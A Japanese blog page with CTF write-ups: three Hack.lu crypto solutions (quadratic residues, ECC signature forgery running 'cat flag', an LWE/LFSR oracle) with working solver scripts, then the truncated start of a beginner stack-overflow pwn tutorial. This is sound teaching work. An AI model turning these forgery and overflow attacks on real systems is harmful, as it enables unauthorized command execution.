Hack.lu CTF Crypto Writeup
はじめに
Hack.lu CTFにちょっとだけ参加しました。チームメイトが頑張ってくれたおかげで16位/171チームでした。
crypto3問(一番難しいrevとの複合問題は除く。偉い人が書いてくれたらそれを使って自分も復習します)のWriteupを例によってやや詳しめに書きます。
Silver Water Industries (92 solves, 1時間)
The local water supplier Silver Water Industries is planning their IPO. To appeal to current crypto investors, they even implemented a military grade token encryption.
package main import ( "bufio" "crypto/rand" "fmt" "math" "math/big" "os" ) func genN() *big.Int { var p *big.Int var q *big.Int var err error for { p, err = rand.Prime(rand.Reader, 64) if err != nil { panic(err) } res := new(big.Int) if res.Mod(p, big.NewInt(4)); res.Cmp(big.NewInt(1)) == 0 { break } } for { q, err = rand.Prime(rand.Reader, 64) if err != nil { panic(err) } res := new(big.Int) if res.Mod(q, big.NewInt(4)); res.Cmp(big.NewInt(3)) == 0 { break } } N := new(big.Int) N.Mul(p, q) return N } func genX(N *big.Int) *big.Int { for { x, err := rand.Int(rand.Reader, N) if err != nil { panic(err) } g := new(big.Int) g.GCD(nil, nil, x, N) if g.Cmp(big.NewInt(1)) == 0 { return x } } } func encryptByte(b uint8, N *big.Int) []*big.Int { z := big.NewInt(-1) enc := make([]*big.Int, 8) for i := 0; i < 8; i++ { bit := b & uint8(math.Pow(2, float64(7-i))) x := genX(N) x.Exp(x, big.NewInt(2), N) if bit != 0 { x.Mul(x, z) x.Mod(x, N) } enc[i] = x } return enc } func generateRandomString(n int) string { const letters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-" ret := make([]byte, n) for i := 0; i < n; i++ { num, err := rand.Int(rand.Reader, big.NewInt(int64(len(letters)))) if err != nil { panic(err) } ret[i] = letters[num.Int64()] } return string(ret) } func main() { N := genN() token := []byte(generateRandomString(20)) fmt.Println(N) for _, b := range token { fmt.Println(encryptByte(uint8(b), N)) } fmt.Println("") reader := bufio.NewReader(os.Stdin) input, err := reader.ReadString('\n') if err != nil { panic(err) } input = input[:len(input)-1] if string(token) == input { fmt.Println("flag{<YOUR_FLAG_HERE>}") } }
Go言語ド素人なので読むまで苦労しました。
なお、この問題はチームリーダーが解いてくれました。解法は特に見ずに自分も後で解きなおしてみた感じになります。
$ p \equiv 1 \ {\rm mod} \ 4$かつ$ q \equiv 3 \ {\rm mod} \ 4$なる64ビットの素数を生成し、$ N = pq$が与えられる。当然ながら$ N \equiv 3 \ {\rm mod} \ 4$
20文字のランダム文字列$ r$の各ビット$ r_{i}$に対して、毎回ランダムな値$x_i$をとってきて
\begin{align} C_i \equiv (x_i) ^ 2 \ {\rm mod} \ N \ \ {\rm if } \ r_i = 0\\ C_i \equiv - (x_i) ^ 2 \ {\rm mod} \ N \ \ {\rm if } \ r_i = 1 \end{align}
と暗号化。
このもとで$ r_i$を求めよ($ r$を復元せよ)、という問題です。
素因数分解
$ p, q$は64ビットの素数なので、SageMathのfactorで十分高速に素因数分解が可能です。なので素数は実質既知であるとしてよいです。
N = ... p_ls, q_ls = list(facotr(N)) # [(p, 1), (q, 1)]のような構造。つまりN = (p^1) * (q^1) p, q = p_ls[0], q_ls[0]
平方剰余
こういうのは経験則になってしまうので試行錯誤うんぬんの話はあまりできなくて申し訳ないのですが、
ファーストインプレッションとしては「片方が平方数で、もう片方が平方数じゃないような形で場合分けしているので、おそらく平方剰余が絡んでいるんだろうな」と感じました。
結局のところ、これがもろ正解で、先に結論だけ言ってしまうとJacobi記号を用いて
の値(はてブで表記が面倒なので便宜上$ J(C_i)$と表記します)が$ 1$なら$ r_i=0$、$ J(C_i) = -1$なら$ r_i = 1$です。
これだけで$ r_i$の値はわかります。おしまい。
簡単な証明を最後に載せておきます。興味がある人は上のJacobi記号のリンク(Wikipedia)と一緒にどうぞ。
ちなみに、Jacobi記号は任意の非負整数$ N$を法としての平方剰余ですが、これが素数の場合はLegendre記号と同義になり、これはSageではkroneckerで計算可能です。
(予め素因数分解されたものを引数にとっていますが、内部でfactorを走らせても大丈夫です)
def jacobi(a, p, q): res = kronecker(a, p) * kronecker(a, q) return res
(追記：Jacobi記号もSageMathにしっかりありました。ふるつきさんありがとうございます。)
# どちらでも動作確認しました
jacobi_symbol(a, n)
a.jacobi(n)
Writeup
# solver.sage from pwn import * def jacobi(a, p, q): res = kronecker(a, p) * kronecker(a, q) if res == 1 or res == -1: return res # 例外処理 else: print('jacobi error, {}'.format(res)) assert 1==2 return 0 def decrypt(ls, p, q): b = '' for l in ls: # 各ビットに対してJacobi記号で平方剰余かどうかの判定 if jacobi(l, p, q) == 1: b += '0' elif jacobi(l, p, q) == -1: b += '1' # 例外処理 else: print('decrypt error, {}'.format(jacobi(l, p, q))) assert 1==2 return chr(int(b, 2)) # C_iのパース def parse_bytes(b:bytes): res = b.decode()[:-1] # assert res[0] == '[' and res[-1] == ']' res = res[1:-1] res = [int(_) for _ in res.split(' ')] return res conn = remote('flu.xxx', 20060) n = int(conn.recvline()) # 素因数分解 p, q = list(factor(n)) p, q = int(p[0]), int(q[0]) assert p * q == n token = '' # 復号 for i in range(20): b = conn.recvline() ls = parse_bytes(b) token += decrypt(ls, p, q) conn.recvline() conn.sendline(token.encode()) print(conn.recvline())
flag{Oh_NO_aT_LEast_mY_AlGORithM_is_ExpanDiNg}
証明
$ a, p$が互いに素であるというのは暗黙の了解とします。大事なのは
$ J(a) = -1$なら$ a$は平方非剰余 ($ J(a) = 1$であっても$ a$が平方剰余かどうかは不明)
$ N \equiv 3 \ {\rm mod} \ 4$から、$ J(-C_i) = J(-1) \cdot J(C_i) = -J(C_i)$
という2点です。
$ J(C_i) = 1$ならば$r_i = 0$の証明：
$ J(C_i) = 1$かつ$r_i = 1$で矛盾を示せばよいです。
2.から$ J(-C_i) = -J(C_i) = -1$となるので、1.とあわせて$ -C_i$は平方非剰余。
しかし、$r_i = 1$と仮定しているので$ C_i = - (x_i) ^ 2 \ \Leftrightarrow -C_i = (x_i) ^ 2$なる$ x_i$が存在し、矛盾。
$ J(C_i) = -1$ならば$r_i = 1$の証明：
「$ r_i = 0$ならば$ C_i$が平方剰余」なのはアルゴリズムから自明です。
また、1.の主張の対偶をとって「$ a$が平方剰余ならば$ J(a) = 1$」が成立します。
この2つから、「$ r_i = 0$ならば$ J(C_i) = 1$」が成立します。この対偶をとればよいです。
WhatTheHecc (45 solves, 1時間40分)
Go hecc it!
#!/usr/bin/env python3 import sys import shlex import subprocess from Cryptodome.PublicKey import ECC from Cryptodome.Hash import SHA3_256 from Cryptodome.Math.Numbers import Integer import time # util def run_cmd(cmd): try: args = shlex.split(cmd) return subprocess.check_output(args).decode('utf-8') except Exception as ex: return str(ex) def read_message(): return sys.stdin.readline() def send_message(message): sys.stdout.write('### {0}\r\n>'.format(message)) sys.stdout.flush() # crypto stuff def hash(msg): h_obj = SHA3_256.new() h_obj.update(msg.encode()) return Integer.from_bytes(h_obj.digest()) def setup(curve): key = ECC.generate(curve=curve) return key def blind(msg, pub): r = pub.pointQ * hash(msg) return r def sign(r, key): r_prime = r * key.d.inverse(key._curve.order) date = int(time.time()) nonce = Integer.random_range(min_inclusive=1,max_exclusive=key._curve.order) z = f'{nonce}||{date}' R = r_prime + (key._curve.G * hash(z)) s = (key.d - hash(z)) % key._curve.order # return (R, s, z) # we can not give away z or this is unsafe: x = s+h(z) return R, s def verify(msg, sig, pub): R, s = sig if s in [0,1,''] and s > 0: return False tmp1 = s * pub._curve.G tmp2 = - pub.pointQ tmp3 = tmp2 + R return tmp1 + tmp3 == hash(msg) * pub._curve.G ## ok ok here we go def main(): while True: send_message('Enter your command:') cmd = read_message().strip() if cmd == 'sign': send_message('Send cmd to sign:') cmd = read_message().strip() if(cmd in ['id', 'uname', 'ls', 'date']): r = blind(cmd, pubkey) sig = sign(r, key) send_message(f'Here you go: {sig[0].x}|{sig[0].y}|{sig[1]}|{cmd}') else: send_message('Not allowed!') elif cmd == 'run': send_message('Send sig:') sig = read_message().strip() tmp = sig.split('|') if len(tmp) == 4: x = int(tmp[0]) y = int(tmp[1]) s = int(tmp[2]) c = tmp[3] sig = (ECC.EccPoint(x, y, curve='P-256'), s) if(verify(c, sig, pubkey)): out = run_cmd(c) send_message(out) else: send_message('Invalid sig!') else: send_message('Invalid amount of params!') elif cmd == 'show': send_message(pubkey) elif cmd == 'help': send_message('Commands: exit, help, show, run, sign') elif cmd == 'exit': send_message('Bye :) Have a nice day!') break else: send_message('Invalid command!') if __name__ == '__main__': key = setup('P-256') pubkey = key.public_key() main()
長いですが、簡単にまとめると以下のようになります。
秘密鍵$ d$に対応する公開鍵$Q = d \cdot G$は与えられる($ G$はP-256のベースポイント、上のリンク参照)
メッセージ
の署名は、ランダム値$ k$を選んで
$$ R = (H(M) + k) \cdot G $$
$$ S = d - k $$
として$ R, S$を出力する。$ H(M)$はSHA3-256を使っていて、我々がとして入力可能なのは
'id', 'uname', 'ls', 'date'の4種類のみ
- 署名検証は
$$ S \cdot G - Q + R = H(M) \cdot G $$
が成立するかどうかをもって行う。
このもとで、メッセージ'cat flag'に対する署名$ (r ^ \ast, s ^ \ast)$を偽造する問題です。
大文字は既知で、小文字が未知数です(こうしてしまったせいで、どれが数字でどれが楕円曲線上の点なのか見にくくなりました。すみません)。
アプローチ1
ファーストインプレッションとしてはECDSAみたいなことをしているなという感じでした。
まずは秘密鍵$ d$を求める方法を考えてみます。
同じメッセージでも$ k$がランダム値ということに注目して
$$ R_1 = (H(M) + k_1) \cdot G, \ S_1 = d - k_1 $$
$$ R_2 = (H(M) + k_2) \cdot G, \ S_2 = d - k_2 $$
が成り立ちます。$ R_1 - R_2 = (k_1 - k_2) G$となり、一般に離散対数問題は解けないですが、今回は$ S_2 - S_1 = k_1 - k_2$とすることで実は求まります。
…？
…！
ここで天啓。気付きます。
「$ H(M)$を固定して$ k$の差分をとるのではなく、$k_1$を固定して$ H(M)$の差分を考えればいいのでは？」
アプローチ2
偽造したいメッセージ'cat flag'をとします。
$ k_1$の固定は難しいことではなく、$ S_1$をそのまま使いまわせばいいだけです。
なので、何とかして$ (r ^ \ast , S_1)$がの署名になるような$r ^ \ast$を偽造したいところです。
ここで$ \Delta = H(M ^ {\ast}) - H(M)$とおくと
$$ R_1 + \Delta \cdot G $$
$$ = (H(M) + k_1) \cdot G + \left(H(M ^ {\ast}) - H(M) \right) \cdot G $$
$$ = (H(M ^ {\ast}) + k_1) \cdot G $$
これを$ r ^ \ast$としたら検証が通るのでは…？
上で書いた検証の式$ S \cdot G - Q + R = H(M) \cdot G$に
$$ S \leftarrow S_1 = d - k_1 $$
$$ R \leftarrow r ^ \ast = (H(M ^ {\ast}) + k_1) \cdot G $$
$$ M \leftarrow M ^ \ast $$
を代入してみます。
…OK！
以上をまとめると、
(適当に
'ls'などを入力して)既知のメッセージ$ \Delta = H(M ^ {\ast}) - H(M)$を計算する。
$ r ^ \ast = R_1 + \Delta \cdot G$を計算すると、$ (r ^ \ast, S_1)$が偽造署名になっている
となります。Pythonで書くとこんな感じ。
R_x, R_y, s = ... cmd = 'ls' cmd_forge = 'cat flag' R = ECC.EccPoint(R_x, R_y, curve='P-256') delta = (hash(cmd_forge) - hash(cmd)) % key._curve.order R_star = R + pubkey._curve.G * delta
Writeup
# solver.py from pwn import * from Cryptodome.PublicKey import ECC from Cryptodome.Hash import SHA3_256 from Cryptodome.Math.Numbers import Integer # ハッシュ計算。配布コードと同じ def hash(msg): h_obj = SHA3_256.new() h_obj.update(msg.encode()) return Integer.from_bytes(h_obj.digest()) conn = remote('flu.xxx', 20085) # P-256指定 key = ECC.generate(curve='P-256') # 公開鍵d * Pの取得 conn.sendlineafter(b'>', b'show') pub = conn.recvline()[:-1].decode().split(', ') pub_x, pub_y = pub[1], pub[2] pub_x = int(pub_x.split('=')[1]) pub_y = int(pub_y.split('=')[1][:-2]) pubkey = ECC.EccPoint(pub_x, pub_y, curve='P-256') # 'ls'に対する署名(R_1, S_1)の取得 conn.recvline() conn.sendlineafter(b'>', b'sign') conn.sendlineafter(b'>', b'ls') res = conn.recvline()[:-2].decode() res = res.split(': ')[1].split('|') assert len(res) == 4 and res[-1] == 'ls' R_x, R_y, s = res[0], res[1], res[2] cmd = 'ls' cmd_forge = 'cat flag' R = ECC.EccPoint(R_x, R_y, curve='P-256') # R部分の偽造 (Sは使いまわし) # delta = hash(cmd_forge) - hash(cmd)) % key._curve.order R_star = R + pubkey._curve.G * ((hash(cmd_forge) - hash(cmd)) % key._curve.order) R_star_x, R_star_y = str(R_star.x), str(R_star.y) payload = ('|'.join([R_star_x, R_star_y, s, cmd_forge])).encode() conn.recvline() conn.sendlineafter(b'>', b'run') conn.sendlineafter(b'>', payload) print(conn.recvline()) conn.close()
flag{d1d_you_f1nd_chakraborty_mehta}
lwsr (20 solves, 3時間)
Sometimes you learn with errors, but I recently decided to learn with shift registers. Or did I learn with errors over shift registers? Shift registers over errors? Anyway, you may try to shift upwards on the investors board with this.
#!/usr/bin/env sage from os import urandom from sage.crypto.lwe import Regev import sys flag = b"flag{this_may_look_like_a_real_flag_but_its_not}" def lfsr(state): # x^384 + x^8 + x^7 + x^6 + x^4 + x^3 + x^2 + x + 1 mask = (1 << 384) - (1 << 377) + 1 newbit = bin(state & mask).count('1') & 1 return (state >> 1) | (newbit << 383) # LFSR initalization state = int.from_bytes(urandom(384 // 8), "little") assert state != 0 # Regev KeyGen n = 128 m = 384 lwe = Regev(n) q = lwe.K.order() pk = [list(lwe()) for _ in range(m)] sk = lwe._LWE__s # publish public key print(f"Public key (q = {q}):") print(pk) # encrypt flag print("Encrypting flag:") for byte in flag: for bit in map(int, format(byte, '#010b')[2:]): # encode message msg = (q >> 1) * bit assert msg == 0 or msg == (q >> 1) # encrypt c = [vector([0 for _ in range(n)]), 0] for i in range(m): if (state >> i) & 1 == 1: c[0] += vector(pk[i][0]) c[1] += pk[i][1] # fix ciphertext c[1] += msg print(c) # advance LFSR state = lfsr(state) # clear LFSR bits for _ in range(384): state = lfsr(state) while True: # now it's your turn :) print("Your message bit: ") msg = int(sys.stdin.readline()) if msg == -1: break assert msg == 0 or msg == 1 # encode message pk[0][1] += (q >> 1) * msg # encrypt c = [vector([0 for _ in range(n)]), 0] for i in range(m): if (state >> i) & 1 == 1: c[0] += vector(pk[i][0]) c[1] += pk[i][1] # fix public key pk[0][1] -= (q >> 1) * msg # check correctness by decrypting decrypt = ZZ(c[0].dot_product(sk) - c[1]) if decrypt >= (q >> 1): decrypt -= q decode = 0 if abs(decrypt) < (q >> 2) else 1 if decode == msg: print("Success!") else: print("Oh no :(") # advance LFSR state = lfsr(state)
こちらもまあまあ長いですね。というか説明がまず大変。
LSFR
線形回帰シフトレジスタ(LFSR)は特に詳しく説明しません。「384ビットのstateが更新されるときは右に1ビットシフトして、先頭(MSB)に1ビット付与」くらいの認識で構いません。厳密な説明をするにはnewbit変数を見る必要がありますが、stateの更新前後で(位置は違うものの)383ビットは使いまわしなので、残り1ビットの総当たりでも大丈夫です。
当然、更新後のstateから更新前に巻き戻すのも難しくないです。
# 配布コードと同じ def lfsr(state:int): # x^384 + x^8 + x^7 + x^6 + x^4 + x^3 + x^2 + x + 1 mask = (1 << 384) - (1 << 377) + 1 newbit = bin(state & mask).count('1') & 1 return (state >> 1) | (newbit << 383) # 巻き戻し。面倒だったので入力、出力はstr型。更新前stateのLSBを総当たり。 def lfsr_rewind(state:str): assert len(state) == 384 before_state_0 = state[1:] + '0' before_state_1 = state[1:] + '1' if lfsr(int(before_state_0, 2)) == int(state, 2): return before_state_0 else: return before_state_1
LWE
次にLWEのところですが、実はCakeCTFでも少し紹介していて、
という構成で、簡単に言うと$ N$変数の式が個あり、かつ結果に少しノイズ$ e$が加わった連立方程式です。
このうち、が秘密鍵(以下、$ sk$と表記)、行列$ X$および$ Y$が公開鍵に相当します。$ q$も(小文字表記していますが)既知です。
都合上この行列$ X$を$ (X_1, X_2, \cdots , X_M)$と表記することにします(当然、各要素はベクトルになります)。
同様に$ Y = (Y_1, Y_2, \cdots , Y_M)$とします(こちらは各要素は整数値)。
なお、今回は$ N = 128, M = 384, q = 16411$です。
ここまでがソースコード内の# Regev KeyGenの説明になります。
暗号化
flagの暗号化は以下のようにして行います。ここでは全て1-indexedとします。
$ i=1$とし、
stateをランダムな384ビット値で初期化$ C_{i} = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $X_j$の総和)$ C'_{i} = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $Y_j$の総和)flagのMSBから数えて$ i$ビット目が$1$なら$ C'_i$に$8205$を加算。この値は$ \lfloor \frac{q}{2} \rfloor$のこと$ C_i, C'_i$を表示
$ i$に$1$を加算し、
stateをLFSRで更新。$ i > 352$になったら(つまり
flagのすべてのビットに対して暗号化が完了したら)終わり。そうでない場合はStep 2.に戻る。
Step 2.とStep 3.が分かりにくいと思うので補足しておきます。
例えば$ M = 5$でstateが$ 10010$の場合、Step 2.については$ C_i = X_2 + X_5$、Step 3.については$ C'_i = Y_2 + Y_5$となります。
ソースコードとの対応でいうと、$ X, Y$がpk[0]とpk[1]に対応していて、$ C_i, C'_i$がc[0]とc[1]に対応しています。
ちなみに、352という値はStep 5.の出力回数をカウントすればすぐにわかります。
このあとのstateを384回更新する操作($ \ast$)をもって、ソースコード内の# clear LFSR bitsまでが終了です。
復号オラクル？
以下の操作が無限回使用可能となっています。
$0$か$1$を入力する。
stateは($ \ast$)終了時の状態を引き継ぐ。$ C = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $X_j$の総和)$ C' = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $Y_j$の総和)Step 1.で入力した値が$1$かつ、
stateのLSBが$ 1$なら$ C'$に$8205$を加算。$ d = sk \cdot C - C' \ {\rm mod} \ q$を計算する。$ sk$はLWEで作った秘密鍵
$ d$が$4102$より大きい場合は$ m=1$、そうでない場合は$ m=0$とする。この値は$ \lfloor \frac{q}{4} \rfloor$のこと
入力した値と
が等しいかどうかを表示し、
stateをLFSRで更新。
なぜ見出しが「復号オラクル？」になっているかは後述します(当然ながら、これは正しく復号できるアルゴリズムではないです)。
どこが怪しい…？
ぼんやりとソースコードを眺めていて、復号オラクルの部分のソースコード# encode messageと# fix public keyが気になりました。
暗号化の部分では# fix ciohertextの部分で直接c[1] += msgとして$ 0$または$ 8205$を足しているのに、
復号オラクルでは何故かpk[0][1] += (q >> 1) * msgと公開鍵部分を経由して$ 0$または$ 8205$を足しています。
これが今回の脆弱性で、上記の暗号化と復号オラクルのStep 4.の挙動が(いかにも意味深な感じで)異なっています。
もう少し詳しく言うと、
暗号化：入力(
flagのビット)が$1$なら$ C'$に$8205$を加算、それ以外は加算しない。復号オラクル：入力が$1$かつ、
stateのLSBが$ 1$なら$ C'$に$8205$を加算、それ以外は加算しない。
となっています。
なので、この2つを見比べると「入力が$ 1$かつ、stateのLSBが$ 0$」である場合に挙動が変わってきます(このケースに限って、復号がうまくいかないです)。
まとめると、「入力に$ 1$を入れて復号が成功するなら、その時点でのstateのLSBは$ 1$。失敗するならLSBは$ 0$」となります。
stateの復元
さて、最初の方で述べた通り、LSFRは状態を更新するときに右に1ビットシフトするので、
「更新前のLSBから数えて$ i+1$ビット目」と「更新後のLSBから数えて$ i$ビット目」は等しいです。
なので、先ほどの復号オラクルの問い合わせで、例えば
1回目に1を入力したら成功した $ \rightarrow$ ($ \ast$)時点での
stateのLSBは12回目(
state1回更新時)に1を入力したら失敗した $ \rightarrow$ ($ \ast$)から1回更新した時点でのstateのLSBは0 $ \rightarrow$ ($ \ast$)時点でのstateのLSBから数えて$ 2$ビット目は0
...
といった感じで、384回1を入力した結果を使って($ \ast$)時点でのstate状態を完全に復元できます。
せっかくなので、一番最初に書いたlfsr_rewind()を使って一番最初のstateまで戻してしまいましょう。
def send_bit(i:int): conn.recvline() conn.sendline(str(i).encode()) res = conn.recvline() #print(res) if b'Success' in res: return '1' else: return '0' # (*)時点でのstate mid_state = '' for i in range(384): mid_state = send_bit(1) + mid_state # 配布コードの"clear LFSR bits"直前のstate for i in range(384): mid_state = lfsr_rewind(mid_state) # 初期state for i in range(352): mid_state = lfsr_rewind(mid_state)
flagの復元
ここから先、LWEを使っているので格子を使って秘密鍵を求めるのかと思うのが至極真っ当な思考回路ですが、
それならそもそも公開鍵が与えられた時点で秘密鍵も求められるはずであり、わざわざ復号オラクルなんぞ用意する必要はありません。(小糸は訝しんだ)
ということで、改めて暗号化の部分に戻ってみるわけですが、
$ i=1$とし、
stateをランダムな384ビット値で初期化$ C_{i} = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $X_j$の総和)$ C'_{i} = $ (
stateのLSBから数えて$ j$ビット目が1である$ j$に対して $Y_j$の総和)flagのMSBから数えて$ i$ビット目が$1$なら$ C'_i$に$8205$を加算。この値は$ \lfloor \frac{q}{2} \rfloor$のこと$ C_i, C'_i$を表示
$ i$に$1$を加算し、
stateをLFSRで更新。$ i > 352$になったら(つまり
flagのすべてのビットに対して暗号化が完了したら)終わり。そうでない場合はStep 2.に戻る。
という流れでした。実は、stateがもう完全に掌握できていて、かつ公開鍵$Y$も与えられているので、Step 3.時点での$ C'_i$の値は分かるわけです。
なので、これとStep 5.での出力を比較して、一致しているならflagの$ i$ビット目は$ 0$であり、$ 8205$の差分が生じているなら$ i$ビット目は$ 1$と判定できます。
各ビットごとでの判定は以下のようにコードを組めばいいです。
given_c_lsがStep 5での の出力、
c_modが復元したstateと公開鍵をもとに計算したStep 3. 時点でのの値です。
# 配布コードと同じ c = [vector([0 for _ in range(128)]), 0] for i in range(384): if (state >> i) & 1 == 1: c[0] += vector(pk[i][0]) c[1] += pk[i][1] c_mod = [int(_ % q) for _ in c[0]] if given_c_ls[j][1] == c[1] % q: print('0') else: print('1') # state更新。忘れずに state = lfsr(state)
Writeup
本当は復号オラクルの正当性についても述べたかったのですが、これ以上はてブで数式を書きたくなくてモチベ維持ができそうになかったので断念します。
めちゃくちゃ要望があれば書くかもしれません。
# solver.sage from pwn import * from Crypto.Util.number import * conn = remote('flu.xxx', 20075) # 復号オラクルアクセス、stateの復元 def send_bit(i:int): conn.recvline() conn.sendline(str(i).encode()) res = conn.recvline() if b'Success' in res: return '1' elif b'Oh no :(' in res: return '0' # 例外処理 else: print('[+] coding error') assert 1 == 2 return -1 # LFSR。配布コードと同じ def lfsr(state:int): # x^384 + x^8 + x^7 + x^6 + x^4 + x^3 + x^2 + x + 1 mask = (1 << 384) - (1 << 377) + 1 newbit = bin(state & mask).count('1') & 1 return (state >> 1) | (newbit << 383) # LFSR巻き戻し def lfsr_rewind(state:str): assert len(state) == 384 before_state_0 = state[1:] + '0' before_state_1 = state[1:] + '1' if lfsr(int(before_state_0, 2)) == int(state, 2): return before_state_0 elif lfsr(int(before_state_1, 2)) == int(state, 2): return before_state_1 # 例外処理 else: print('[+] coding error') assert 1 == 2 return -1 conn.recvuntil(b'= ') # qの値取得 q = int(conn.recvline()[:-3]) assert q == 16411 # 公開鍵取得 pk = eval(conn.recvline()[:-1].decode()) assert len(pk) == 384 and len(pk[0][0]) == 128 # 暗号化の部分の出力取得 conn.recvline() given_c_ls = [] # flag : 352 bits for i in range(352): c = eval(conn.recvline()[:-1].decode()) given_c_ls.append(c) # 復号オラクルアクセス、(*)時点でのstate mid_state = '' for i in range(384): print('{}/384 state collection done'.format(i)) mid_state = send_bit(1) + mid_state conn.close() # 配布コードの"clear LFSR bits"直前のstate for i in range(384): mid_state = lfsr_rewind(mid_state) # 初期state for i in range(352): mid_state = lfsr_rewind(mid_state) state = int(mid_state, 2) flag = '' # 352ビットのflag計算 for j in range(352): c = [vector([0 for _ in range(128)]), 0] for i in range(384): if (state >> i) & 1 == 1: c[0] += vector(pk[i][0]) c[1] += pk[i][1] c_mod = [int(_ % q) for _ in c[0]] # 念のため、暗号文として与えられるC_iと自分でstateから計算できるStep 2.のC_iが一致するか確認 check = [int(x) == int(y) for x, y in zip(c_mod, given_c_ls[j][0])] assert all(check) if given_c_ls[j][1] == c[1] % q: print('0') flag += '0' elif given_c_ls[j][1] == (c[1] + (q >> 1)) % q: print('1') flag += '1' # 例外処理 else: print('[+] coding error') print('[+] given val : ', given_c_ls[j][1]) print('[+] calc myself : ', c[1] % q, ' or ', (c[1] + (q >> 1)) % q) assert 1 == 2 # state更新 state = lfsr(state) print('{}/352 flag found'.format(j)) flag = int(flag, 2) print(long_to_bytes(flag))
flag{your_fluxmarket_stock_may_shift_up_now}
setodaNoteCTF pwn 冗長writeup
はじめに
setodaNoteCTFのpwn解説です。
pwnのwriteupは、その多くが読者にそこそこの知識がある前提で書かれていて、初心者が読むには難しすぎると個人的に感じています。
もともとが難しい分野ですからね…。自分もまだまだですが。
とんでもなく長くなりましたが、この分量を理解しないといけないほど難しい、というより単にめちゃくちゃ丁寧にしました。
初心者向けの大会ということもあり、gdbの使い方などもちょくちょく書いています。
読みづらいかもしれませんが、自分の手元で確認しながらゆっくり復習してもらえればと思います。
CTFはwriteupを読んで復習することで一番成長します。これはマジです。
あと苦手意識は頑張ってなくしましょう。いずれ面白いと思う時が来ます、きっと…
なお、読者層は「C言語、Pythonは読めるけどアセンブリとかデバッガ(gdb)とか意味不明」くらいを想定しています。
ただしASCIIコードくらいは理解している前提で進めていきます。
setodaNoteCTFに参加していてこの記事にたどり着く人なら大丈夫でしょう。
1問目：tkys_let_die
#include <stdio.h> #include <string.h> #include <stdlib.h> void printFlag(void) { system("/bin/cat ./flag"); } int main(void) { char gate[6]="close"; char name[16]=".."; printf("\n"); /* 中略 */ printf("\n"); printf("You'll need permission to pass. What's your name?\n> "); scanf("%32[^\n]", name); if (strcmp(gate,"open")==0) { printFlag(); }else{ printf("Gate is %s.\n", gate); printf("Goodbay %s.\n", name); } return 0; }
動的解析不要のwriteup
まずはローカル環境でもflagを適当に用意しておきます。
$ echo 'flag_dummy' > ./flag
ここから実行ファイルの挙動を確認していきます。
バグを起こさないような短いnameを入力しても、当然gate変数は書き換わることはないため"close"のままです。
(巨大アスキーアートは省略します)
$ ./gate You'll need permission to pass. What's your name? > hogehoge Gate is close. Goodbay hogehoge.
また、長いnameを入力するとgateの変数が書き換わっています。
$ ./gate You'll need permission to pass. What's your name? > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Gate is aaaaaa. Goodbay aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
では、いい感じにgateが書き換わるくらいの長さに色々いじってgate変数が"open"になるようにしてみます。
$ ./gate You'll need permission to pass. What's your name? > aaaaaaaaaaaaaaaaaaaaaaaaaaopen flag_dummy
これだけです。動的解析するまでもないです。リモートサーバにこの入力をコピペすれば終了。
gdbで動的解析
…が、一応gdb(というかその拡張であるgef)で挙動を追ってみます。このレベルであれば通常のgdbやgdb-pedaでも十分です。
gefを入れたい人は以下のコマンド2行目からどうぞ。gdbすら入っていない人は1行目から。
最新版のKali Linuxなどを使っている人はgefまでデフォルトで入っています。
$ sudo apt install gdb $ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
では改めて、gdb起動。以下のようになっていればOK。
$ gdb -q ./gate GEF for linux ready, type `gef' to start, `gef config' to configure 93 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 [*] 3 commands could not be loaded, run `gef missing` to know why. Reading symbols from ./gate... (No debugging symbols found in ./gate) gef➤
まずは、上のソースコードのmain関数部分がアセンブリ言語的にどうなっているか見るためにディスアセンブルします。コマンド名はdisas (関数名)です。
なお、表示されるアドレスは環境によって異なります。適宜自分の環境で読み替えてください。
gef➤ disas main Dump of assembler code for function main: 0x0000000000001198 <+0>: push rbp 0x0000000000001199 <+1>: mov rbp,rsp 0x000000000000119c <+4>: sub rsp,0x20 0x00000000000011a0 <+8>: mov DWORD PTR [rbp-0x6],0x736f6c63 0x00000000000011a7 <+15>: mov WORD PTR [rbp-0x2],0x65 0x00000000000011ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2e 0x00000000000011b5 <+29>: mov QWORD PTR [rbp-0x18],0x0 0x00000000000011bd <+37>: mov edi,0xa 0x00000000000011c2 <+42>: call 0x1030 <putchar@plt> ... 0x00000000000012de <+326>: lea rax,[rbp-0x20] 0x00000000000012e2 <+330>: mov rsi,rax 0x00000000000012e5 <+333>: lea rdi,[rip+0x12c9] # 0x25b5 0x00000000000012ec <+340>: mov eax,0x0 0x00000000000012f1 <+345>: call 0x1080 <__isoc99_scanf@plt> 0x00000000000012f6 <+350>: lea rax,[rbp-0x6] 0x00000000000012fa <+354>: lea rsi,[rip+0x12bc] # 0x25bd 0x0000000000001301 <+361>: mov rdi,rax 0x0000000000001304 <+364>: call 0x1070 <strcmp@plt> 0x0000000000001309 <+369>: test eax,eax 0x000000000000130b <+371>: jne 0x1314 <main+380> 0x000000000000130d <+373>: call 0x1185 <printFlag> 0x0000000000001312 <+378>: jmp 0x1344 <main+428> 0x0000000000001314 <+380>: lea rax,[rbp-0x6] 0x0000000000001318 <+384>: mov rsi,rax 0x000000000000131b <+387>: lea rdi,[rip+0x12a0] # 0x25c2 0x0000000000001322 <+394>: mov eax,0x0 0x0000000000001327 <+399>: call 0x1060 <printf@plt> 0x000000000000132c <+404>: lea rax,[rbp-0x20] 0x0000000000001330 <+408>: mov rsi,rax 0x0000000000001333 <+411>: lea rdi,[rip+0x1295] # 0x25cf 0x000000000000133a <+418>: mov eax,0x0 0x000000000000133f <+423>: call 0x1060 <printf@plt> 0x0000000000001344 <+428>: mov eax,0x0 0x0000000000001349 <+433>: leave 0x000000000000134a <+434>: ret End of assembler dump.
この問題のポイントは2つです
gate変数ってどこにあるの？name変数ってどこにあるの？
